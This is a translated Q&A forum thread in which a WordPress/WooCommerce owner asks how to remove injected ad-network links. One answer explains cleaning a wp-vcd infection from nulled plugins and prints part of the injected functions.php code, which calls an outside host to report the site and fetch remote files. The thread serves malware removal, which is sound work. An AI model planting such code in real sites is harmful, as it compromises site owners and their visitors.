O
O
Oleg Korolenko2017-11-15 16:18:11
Malware
Oleg Korolenko, 2017-11-15 16:18:11

How to remove unwanted links from a WordPress site?

Hello, my site
received the following letter from Adwords site on Wordpress + Woocommerce ...
All campaigns were suspended ... I
scanned the site with everything possible, nothing was found .. I also searched for these links in the files, there was
nothing ... Unwanted links found on your site deloton.com/apu.php?zoneid=1459841 go.mobisla.com/notice.php?p=1459844&interactive=1&pushup=1 go.pub2srv.com/apu.php?zoneid=1459841 go.pushnative .com/notice.php?p=1459844&interactive=1&pushup=1

Answer the question

In order to leave comments, you need to log in

4 answer(s)
C
Cristalius, 2018-02-08
@legoex

the result of the appearance of these links is the installation of plugins or themes from third-party resources, let's say I grabbed www.freenulled.top from here and determined by the method of 3 hours of research and calculations, the class.plugin-modules.php or class.theme-modules files are in the plugin folder. php, delete them immediately on the hosting (check these files on the entire site), they contain just the initial installation code for the worm that picks up everything from the site lanons.com or zanons.com. writes entries in functions.php and creates files.
you go to functions.php of the template and there at the very beginning you will see:
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
if ($ping) {
$content = @file_get_contents(' www.lanons.com/o.php?host= ' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents(' www.lanons.com/admin.txt '));
// echo ABSPATH . 'wp-includes/class.wp.php';
}
and the end.....
//install_code_end ?>
delete all this code
Next you go wp-includes/ and at the very bottom you will see files
wp-tmp.php
wp-vcd.php
wp-feed.php
wp-cd.php
delete them too, they are all connected with the virus, you will just see your final links in them
Better yet, download the entire site on your computer and through notepad ++, through the search in files, specify the folder of the downloaded site and enter: domains of your links, it will check all files for records, delete them,
then enter lanons.com and delete all the code in the same way.
also check for wp-tmp entries and other files that I wrote above
Well, everything seems to be))

D
Dmitry, 2017-11-15
@Nardil

Maybe a virus on the site? Which generates third-party links with a script. Check the site with the Aibolit service, if possible.

S
solo__dj, 2018-03-24
@solo_dj

Cristalius helped .. it remains to calculate the plugin that brought this infection ... by the way https://aw-snap.info/file-viewer/ excellent scanner, without unnecessary rubbish

M
Mikhail Yesenin, 2019-01-15
@mirzok

You can scan for virus files and unwanted links using https://metascan.ru. It will also give vulnerabilities for Wordpress if you have security holes or outdated plugins with vulnerabilities.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question